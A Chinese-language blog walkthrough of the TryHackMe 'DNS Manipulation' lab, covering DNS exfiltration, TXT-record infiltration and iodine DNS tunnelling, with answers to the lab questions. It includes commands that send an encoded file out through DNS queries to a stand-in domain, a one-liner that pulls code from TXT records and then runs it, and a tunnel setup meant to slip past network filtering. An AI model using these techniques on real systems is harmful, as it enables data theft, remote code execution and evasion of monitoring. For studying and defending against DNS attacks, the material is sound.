【THM】DNS Manipulation(操纵DNS进行数据渗透)-学习

发布时间 2023-08-07 03:18:47作者: Hekeats

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/dnsmanipulation

本文相关内容:介绍一些基于DNS的数据渗透技术,包括数据渗出和数据渗入。

image-20230713210715683

简介

在本文中,我们将研究DNS服务并简单了解一些用于针对目标机来渗出和渗入数据的技术。

首先,我们将了解DNS服务的目的、工作原理以及DNS记录的类型。下图展示了一个基本的DNS查询,客户端机器会向DNS服务器发送请求,以便将完全限定域名(FQDN)解析为对应的IP地址。

image-20230713210602019

然后,我们将讨论如何通过DNS查询将DNS用作“数据渗出”和“数据渗入”的工具。

image-20230713210912371

最后,我们将了解DNS隧道以及如何使用不同的协议(如HTTP)通过DNS来搭建“隧道”。

image-20230713211220971

工具安装介绍

用于DNS数据渗出和渗入的Python代码

以下脚本将使我们能够对远程DNS服务器进行DNS查询:

git clone https://github.com/kleosdc/dns-exfil-infil

另外,我们还需要确保我们具有运行python代码所需的Python3模块,使用以下命令安装所需的模块即可:

sudo pip3 install -r requirements.txt

用于搭建DNS隧道的程序

#https://github.com/yarrick/iodine

sudo apt install iodine

Wireshark下载

我们可以使用Wireshark或tshark来捕获数据包,然后使用上文所提及的Python代码基于. pcap文件来提取我们所捕获的数据,最后再对其进行解码。

#https://www.wireshark.org/download.html
sudo apt install -y tshark

自定义公共DNS服务器(拓展内容)

在实际场景中,如果我们想设置实验环境以进行DNS数据渗出和渗入操作,那么还需要具有公共域名和公共服务器,关于带外(OOB-Out of Band)数据渗出的配置内容可以参考以下视频:

https://www.youtube.com/watch?v=p8wbebEgtDk

在完成本文相关的实验任务时,我们无需购买域名或配置面向公众的服务器,因为我们可以直接使用由Tryhackme实验房间所提供的环境来完成模拟。

什么是DNS?

概括地说,域名系统(DNS)指的是用IP地址来解析域名的命名系统。DNS服务器分布在世界各地,它们会以系统的方式不断地进行更新和相互同步。例如,当用户使用域名tryhackme.com发出访问请求时,DNS会将其“翻译”为与之对应的IP地址,然后最终为请求者提供正确的IP地址。同样值得注意的是,在某些情况下,如果DNS记录被Cloudflare的DDoS保护等服务代理,那么DNS所返回的IP地址则并不会总是原始目标服务器所对应的IP地址。

从技术上讲,连接到互联网的每个设备都有一个对应的IP地址,而IP地址会在这些设备与其他互联网设备进行通信时充当身份标识。因此,我们有必要了解DNS的主要功能以及DNS进行地址“转换”时所需要经过的层次结构。

DNS根名称服务器位于DNS层次结构的顶部或“根部(root)”,对互联网起着关键作用。所有顶级域名(TLD)的信息“区域”,如.com、.co.uk、.net以及与它们相关的域名服务器都被放置于分布在世界各地的数百个根域名服务器中。

下面是来自Cloudflare的插图,该图可以更好地描述DNS工作时的层次结构。

image-20230717022509735

上图出处:https://www.cloudflare.com/learning/dns/glossary/dns-root-server/

以下是一些有关根服务器和DNS区域的更多信息:

此外,如果你想了解更多有关DNS记录类型的信息,请参阅以下文章链接:

答题

image-20230806112244388

image-20230717025140619

什么是DNS数据渗出?

DNS渗出是一种通过DNS针对服务器进行的网络攻击,这种攻击可以根据攻击者的物理位置与目标设备的距离手动或自动执行。在手动执行攻击的场景中,攻击者通常需要获得对于目标设备的未经授权的物理访问权限,以便从目标环境中提取数据,而在自动DNS渗出攻击中,攻击者通常可以利用恶意软件在被入侵的目标网络内部进行数据渗出。

DNS是一种在目标机器上通常可用的服务,该服务将允许计算机通过TCP或者UDP端口53进行出站流量通信,这使得DNS服务成为攻击者用来窃取数据的首选项。

通过DNS进行的数据渗出可以让攻击者从目标环境中向外传输大量数据,而且,DNS渗出攻击往往能作为收集个人信息(例如社保号码、知识产权信息或者其他个人身份信息)的有效途径。

DNS渗出主要是通过向DNS UDP请求添加包含所需“目标信息”的字符串来使用的,然后,包含目标信息的字符串将被发送到正在记录这些请求的恶意DNS服务器。而对于未经信息安全训练的人来说,这种情况可能看起来像正常的DNS流量,或者他们会认为这些恶意请求会在许多合法的DNS请求中丢失。

答题

image-20230801102137224

image-20230801102314337

DNS数据渗出-演示

在本节的示例场景中,攻击者会试图将数据泄露到他们所控制的系统中,并使用DNS查询来完成这个过程。攻击者的目标是从SecureCorp网络中的一台目标机器上窃取敏感信息。在本小节的演示中,我们将简单展示攻击者可能会采取的一些步骤,以便从被入侵的计算机中窃取数据。

image-20230801231508449

以下材料是通过伪造的信用卡生成器生成的,所有信用卡信息都是假的。

与本小节示例相关的材料如下所示:

  1. securecorp.txt (https://github.com/kleosdc/dns-exfil-infil/blob/main/securecorp.txt)
  2. packety.py (https://github.com/kleosdc/dns-exfil-infil/blob/main/packety.py)
  3. packetGrabber.py (https://github.com/kleosdc/dns-exfil-infil/blob/main/packetyGrabber.py)

我们的目标是包含虚假信用卡号码,姓名,地址的文本文件--securecorp.txt。

image-20230801231751405

当我们执行实验材料中的packety.py时,需要为该脚本提供以下输入:

  1. 文件名(Filename):这是我们试图从SecureCorp目标网络中泄漏的敏感信息文件(建议在提供名称时加上文本文件类型)。

  2. 域名(Domain name):这是我们将要用于放置信息的域名,例如badbaddoma. in。

python packety.py
Filename: securecorp.txt
Domain Name (Example: badbaddoma.in): badbaddoma.in
[+] Reading file.
[+] Base64 encoded.
[+] Base58 encoded.
Start transmitting... [PRESS ENTER KEY]

image-20230801233022183

packety.py脚本代码会从读取文本文件开始,它会将文本文件的内容先进行Base64编码,然后再继续进行Base58编码,这就让我们得到了一个很长的经过编码的字符串,然后该脚本会将长字符串分割成每20个字符长为一部分,并且每个部分将添加3个“虚拟”字符以进一步混淆信息,其中一个虚拟字符将被加到每部分已编码字符串的开头,另外两个虚拟字符则将被追加到每部分已编码字符串的末尾。

例如,经过脚本编码的部分数据可能如下所示:'6gfghhjywsas3rg4hda3';而当我们添加了额外的字符之后,它最终将变为:'x6gfghhjywsas3rg4hda3yu'。

当packety.py脚本完成数据处理之后,它会等待用户按下"ENTER"键,以便开始将查询传输到DNS服务器,而DNS服务器会被设置为使用“Wireshark”或者“tshark”来捕获将要传入的请求。

image-20230802152609228

接下来,我们只需要等待packety.py脚本完成信息传输即可,如果任何查询没有按时以正确的顺序交付,那么最终所泄露的数据将不完整并且对攻击者毫无用处。

image-20230802152625969

image-20230802152641925

当我们执行实验材料中的packetyGrabber.py时,需要为该脚本提供以下输入:

  1. 所捕获的文件(File captured):这是我们在我们的DNS服务器上所捕获到的.pcap文件。
  2. 输出文件的名称(Filename output):这是用于保存解码数据的文件的名称。
  3. 域名(Domain name):这是我们所控制的域名。
python3 ~/tools/packety/packetyGrabber.py
File captured: cap-credit-cards.pcap
Filename output: credit-cards.txt
Domain Name (Example: badbaddoma.in): badbaddoma.in
[+] Domain Name set to badbaddoma.in
[+] Filtering for your domain name.
[+] Base 58 decoded.
[+] Base 64 decoded.
[+] Output to credit-cards.txt

image-20230802153343843

如果上述操作一切顺利,即没有丢失任何查询并且所有用户输入都是正确的,那么包含解码数据的文件将被保存在我们运行packetyGrabber.py脚本代码的同一目录下。

image-20230802153604023

DNS数据渗出-实践

在与本文相关的Tryhackme实验方面页面部署本小节的实践环境,已知的信息如下所示:

Machine IP Address:MACHINE_IP(在完成环境部署后,我们会随机获得一个与实验虚拟机对应的IP地址)

image-20230806103601171

用于访问实验虚拟机的SSH凭据信息:

  • Username:user
  • Password:P@ssword01

我们需要完成以下文件夹中的任务:/challenges/exfiltration;完成任务所需的工具可在/dns-exfil-infil/文件夹下找到。

注意:当我们运行~/dns-exfil-infil/文件夹中的Python脚本时,请确保在脚本名称之前添加python3;例如python3 file.py

此外,当我们运行packetyGrabber.py脚本时,需要忽略脚本末尾引发的异常。

我们将尝试读取位于~/challenges/exfiltration/orderlist/~/challenges/exfiltration/identify/文件夹中的任务文件。

答题

tips:我们可以选择本地kali攻击机或者Tryhackme所提供的Attackbox来完成以下答题任务。

在攻击机上通过SSH访问实验虚拟机:

ssh user@10.10.116.25
#P@ssword01

image-20230806105129775

问题1:解码实验虚拟机上~/challenges/exfiltration/orderlist/文件夹下的order.pcap文件,查看ORDER-ID: 1所对应的Transaction(交易)名称是什么?

我们需要针对order.pcap运行packetyGrabber脚本:

cd ~/challenges/exfiltration/orderlist/
#可以查看该文件夹下的TASK文件以获取示例提示

python3 ~/dns-exfil-infil/packetyGrabber.py
#order.pcap
#order.txt
#badbaddoma.in

image-20230806110313220

然后查看生成的order.txt内容:

image-20230806110734017

ORDER-ID: 1所对应的Transaction(交易)名称是:Network Equip.

TRANSACTION: Firewall(防火墙)所对应的花费是:$2500

image-20230806110926235

问题2:解码实验虚拟机上~/challenges/exfiltration/orderlist/文件夹下的order.pcap文件 ,查看TRANSACTION: Firewall(防火墙)所对应的花费是多少? (答案不需要附加$标志)

注:根据上文的操作结果,我们可以知道Firewall(防火墙)所对应的花费是$2500

image-20230806111144764

问题3:查看实验虚拟机中的~/challenges/exfiltration/identify/文件夹,哪个文件包含可疑的DNS查询?

cd ~/challenges/exfiltration/identify/
#可以查看该文件夹下的TASK文件以获取示例提示

ls -la

tshark -r cap3.pcap -T fields -e dns.qry.name
#上述这行tshark命令的作用是使用tshark工具来解析cap3.pcap抓包文件,并输出dns.qry.name字段,也就是显示DNS查询请求中的域名信息。
#具体解释如下:
#tshark:Linux/Unix系统下的抓包分析工具,是wireshark的命令行版本。
#-r cap3.pcap:读取并解析cap3.pcap抓包文件。
#-T fields:以字段为单位输出结果,每个字段占一行。
#-e dns.qry.name:输出dns.qry.name字段,表示.pcap抓包文件内容中的DNS查询请求所相关的域名。
#dns.qry.name:DNS协议中的域名字段,表示DNS查询请求想要解析的域名。
#综合起来,这条命令可以从cap3.pcap抓包文件中提取出所有DNS请求查询的域名,并输出至终端界面,每行只会显示一个域名。

image-20230807000536601

包含可疑的DNS查询的文件为:cap3.pcap

image-20230806235601382

问题4:查看实验虚拟机中的/challenges/exfiltration/identify/,使用/dns-exfil-infil/文件夹中的packetyGrabber.py脚本来解码数据,然后输入对应的纯文本。

cd ~/challenges/exfiltration/identify/

python3 ~/dns-exfil-infil/packetyGrabber.py
#cap3.pcap
#cap3.txt
#badbaddoma.in

cat cap3.txt

image-20230807000828338

解码数据之后所得到的纯文本内容为:administrator:s3cre7P@ssword

image-20230807000925283

什么是DNS数据渗入?

DNS数据渗入是攻击者针对企业组织的域名系统中的各种漏洞进行利用的另一种方法。与针对DNS进行数据泄漏攻击不同,DNS数据渗入定义了攻击者如何运行恶意代码来操纵DNS服务器的过程,在该过程中攻击者可以使用自动化系统来远程连接到目标网络的基础设施或者选择进行手动连接。

DNS数据渗入主要被攻击者用于进行恶意文件植入或者进行恶意软件分段传输,而网络安全防御方可以使用基于行为、签名或者基于信誉值的威胁检测系统来尝试捕获这种攻击方法。

如果网络安全防御部门不注意这种用于传输数据的方法,则可能导致发生一些恶意活动,例如攻击者会在企业组织的网络环境中执行恶意代码。从历史上看,这种数据渗入方式给许多知名公司造成了严重破坏。

总而言之,DNS协议可以作为一种隐蔽协议,它有助于恶意软件的运行,以便于其与攻击者的C2(命令和控制)服务器进行通信。

答题

问题1:攻击者通常会使用哪种类型的DNS记录来将数据渗入到目标网络中?

image-20230804000900199

DNS数据渗入-演示

在这种攻击方式中,攻击者往往会把一段恶意代码渗入到受害计算机系统中,而现实世界中的攻击者会使用许多不同的技术来实现这一点。为了方便起见,在本小节的演示例子中,我们会在一个公有的AWS DNS 服务器上设置TXT记录,并且此记录中所包含的值将会是一段经过编码的“恶意”代码。

由于TXT记录的长度限制是255个字符,所以攻击者可能会为其DNS服务器配置多个TXT记录来实现攻击目的,具体需要使用多少个TXT记录则取决于攻击者所需要注入的代码有多长。当完成DNS TXT记录设置之后,攻击者需要做的事情就是请求那些TXT记录,然后捕获值并且进行信息解码,从而使得攻击者通过DNS TXT记录将恶意代码渗透到一个被入侵的计算机系统中。

image-20230806085050048

用于完成恶意代码渗透的DNS TXT记录:

image-20230806085115576

用于此演示的文件以及演示过程:

nslookup

我们首先需要查找rt1.badbaddoma.in中的TXT记录,然后尝试获取记录中引号所包含的值,最后将值保存到名为.mal.py的文件中。

nslookup -type=txt rt1.badbaddoma.in | grep Za | cut -d \" -f2 > .mal.py

packetSimple.py ( https://github.com/kleosdc/dns-exfil-infil )

我们运行packetSimple.py脚本代码,然后根据提示输入.mal.py作为文件名,这将是我们用于保存编码信息的文件。

python3 ~/packetySimple.py
Filename: .mal.py
[+] Reading from file...
[+] Base58 decoded.
[+] Base64 decoded.
[+] Done, .mal.py is decoded.

image-20230806085827224

DNS数据渗入-实践

我们将继续使用上文第七小节中的实验环境来完成本节练习,我们需要读取~/challenges/infiltration/文件夹中的 TASK 文件。

我们可以参考使用上一小节“DNS数据渗入-演示”中所介绍的命令,但是我们还需要调整命令中的“grep”部分以使用适当的字符进行匹配,例如,如果TXT记录中的文本值以“G6...”开头,那么我们需要在nslookup命令中使用“grep G6”。

答题

tips:我们可以查看实验虚拟机上的~/challenges/infiltration/文件夹中的TASK,并按照TASK文件中的说明完成以下问题。

问题:请基于上一小节的演示内容,在实验虚拟机上执行我们所生成的用于保存编码信息的脚本文件并查看相关的输出值。

cd ~/challenges/infiltration/
#可以查看该文件夹下的TASK文件以获取示例提示

ls -la

cat TASK

nslookup -type=txt code.badbaddoma.in

nslookup -type=txt code.badbaddoma.in | grep Yee | cut -d \" -f2 > .todecode.py
#这条命令的作用是通过nslookup查询code.badbaddoma.in域名的TXT记录,从响应中过滤出特定内容并存入一个名为.todecode.py文件。
#具体解析:
#nslookup:一个网络管理员工具,用于查询域名的DNS记录。
#-type=txt:指定查询TXT记录类型。
#code.badbaddoma.in:要查询的域名。
#| grep Yee:从nslookup查询结果中,通过管道过滤出包含"Yee"的行。
#| cut -d \" -f2:进一步过滤,只取双引号内的第二个字段,也就是TXT记录的值。
#> .todecode.py:将过滤后的TXT记录值输出存入.todecode.py文件。

python3 ~/dns-exfil-infil/packetySimple.py
#.todecode.py

cat .todecode.py

python3 .todecode.py

image-20230807001434666

执行我们所生成的用于保存编码信息的脚本文件,对应的输出内容为:4.4.0-186-generic

image-20230807001651947

DNS隧道

虽然攻击者可以使用DNS请求和DNS响应来针对目标计算机系统来渗透和执行有效负载(payload),但是公司通常会设置防火墙、入侵检测系统(IDS)、入侵防御系统(IPS),以便在某些不被需要的入站和出站协议通过公司网络时进行预防/警报。DNS是一个很少会被公司监控的协议,因此,攻击者可以尝试通过使用DNS隧道来绕过很多对于目标公司而言“不被需要”的协议。

相关演示

在接下来的演示中,我们将探索攻击者如何通过DNS来使用HTTP以绕过各种受限制的网站,为了实现这一目标,我们还将使用一个工具——Iodine

image-20230806092227087

HTTP over DNS 是一种通过 DNS 协议传输 HTTP 流量的技术,其基本原理是:

  1. 客户端将完整的HTTP请求报文编码为一个合法的DNS域名。
  2. 客户端向支持HTTP over DNS的服务器发送这个编码后的DNS查询请求。
  3. 服务器对DNS请求进行解码,恢复出原始的HTTP请求。
  4. 服务器生成HTTP响应,并编码成TXT记录(或者其他DNS资源记录)以存入DNS响应中。
  5. 客户端收到DNS响应后,解码TXT记录(或者其他DNS资源记录)从而还原HTTP响应。

可以简单概况为:

  • 客户端将HTTP请求报文的数据打包成DNS查询的域名部分。
  • 服务器将对应的 HTTP 响应报文的数据打包成DNS响应的回答部分。
  • 通过DNS查询和响应来传输打包后的HTTP数据。

使用 HTTP over DNS 的主要目的是为了绕过网络环境中可能存在的 HTTP 流量阻断,因此才利用 DNS 协议来传输 HTTP 数据。

实现 HTTP over DNS 通常需要客户端和服务器端都支持这个协议,客户端将HTTP请求打包成 DNS 查询发送出去,而服务器端则将HTTP响应打包进DNS响应中返回给客户端,从而成功实现了通过DNS协议来传输HTTP数据的效果。

主要应用场景有:

  • 绕过企业或学校网络中的HTTP禁止策略;
  • 作为一种隐蔽的C&C通信方式;
  • 作为一种代理方式,绕过网络访问限制。

总体来说,HTTP over DNS可以通过DNS协议传输HTTP流量来实现一定的隐蔽性和绕过性,但也存在容易被识别等缺点,使用者需要根据实际需求进行合理使用。

本小节演示的具体设置如下:

  • 一台AWS所托管的Linux机器,它将作为DNS隧道服务器。

  • 一台运行在攻击者的本地计算机上的Ubuntu VM,这将是DNS隧道客户端。

  • 攻击者还需要有一个被托管在Google域上的公共域名(badbadtunnel.in)。

以下是DNS配置的样子:

image-20230806092630443

攻击者所需要使用的两台机器都需要安装Iodine,如果你使用的是基于Debian的Linux发行版,例如Kali,那么该工具将在apt存储库中,可以直接使用apt命令进行安装。

#https://github.com/yarrick/iodine
sudo apt install iodine

#iodine - Client
#iodined - Server

在AWS服务器上,我们将使用以下命令参数来启动iodined:

#Port - 27001
#IP for DNS Tunnel Server - 10.0.0.1
#Subdomain name - tunnel.badbadtunnel.in

image-20230806093242625

然后,在客户端机器上,我们将使用以下命令参数来运行iodine:

#IP of DNS Tunnel Server
#Subdomain name

image-20230806093520651

如果一切设置正确,我们现在应该已经连接到我们的DNS隧道服务器,我们可以尝试ping 10.0.0.1 (DNS隧道服务器),来看看我们是否已经成功连接。

image-20230806093738899

现在我们已经完成了一半,我们的DNS HTTP还没有完全设置好。

首先,我们需要生成一个SSH密钥,并将id_rsa.pub的内容添加到DNS隧道服务器上的authorized_keys文件中。

生成一个SSH密钥:

image-20230806094711431

id_rsa.pub的内容示例如下:

image-20230806094749335

我们将id_rsa.pub的内容添加到DNS服务器上的authorized_keys文件中,这将允许我们通过SSH连接到我们的服务器:

image-20230806095111952

现在,我们可以使用参数选项-D 8080以通过SSH连接到DNS隧道服务器:

image-20230806095218890

接下来,我们需要打开浏览器(在本例中为Firefox)并更改代理设置,当然我们也可以通过使用浏览器扩展插件FoxyProxy或者Proxy SwitchyOmega来更改代理设置。

对于代理选项,我们需要选择“手动代理配置”,然后将SOCKS主机的IP地址设置为“127.0.0.1”,并将端口号设置为“8080”。

image-20230806095539631

现在我们就可以使用HTTP over DNS了,如果我们转到myip.is(https://myip.is/),那么我们应该能够看到我们的DNS隧道服务器的公共IP地址。

tips:HTTP over DNS 是一种通过DNS协议传输HTTP流量的技术。

image-20230806095901374

答题

image-20230806102911096